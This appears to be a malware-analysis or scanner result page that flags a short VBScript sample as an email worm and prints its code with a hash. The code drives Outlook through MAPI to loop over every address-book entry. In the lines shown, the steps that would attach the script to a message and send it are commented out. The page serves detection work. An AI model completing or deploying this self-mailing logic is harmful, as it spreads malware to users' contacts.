Suspicious ^80% Download

Email-Worm.VBS.Small.f

Email worm propagation logic

Outlook MAPI automationOutlook address entries iteration

SHA-256ca8257da6ac34cacb87302c5a63f93b5fb80b040b13c8b38da83419be8dda40d

Evidence

Outlook address entries iteration lines 1–24

1On Error Resume Next
2
3Dim AAA, BBB, CCC, DDD, EEE
4
5Set AAA = CreateObject( "Outlook.Application" )
6Set BBB = AAA.GetNameSpace( "MAPI" )
7
8For Each CCC In BBB.AddressLists
9    For DDD = 1 To CCC.AddressEntries.Count
10        Set EEE = AAA.CreateItem( 0 )
11
12        EEE.BCC = CCC.AddressEntries( DDD ).Address
13
14'        if EEE.BCC = "[email protected]" then
15           MsgBox EEE.BCC
16'        end if
17
18'       EEE.Subject = "Digite o Subject da mensagem aqui..."
19'       EEE.Body = "Digite o corpo da mensagem aqui..."
20'       EEE.Attachments.Add WScript.ScriptFullName
21'       EEE.DeleteAfterSubmit = True
22'       EEE.Send
23    Next
24Next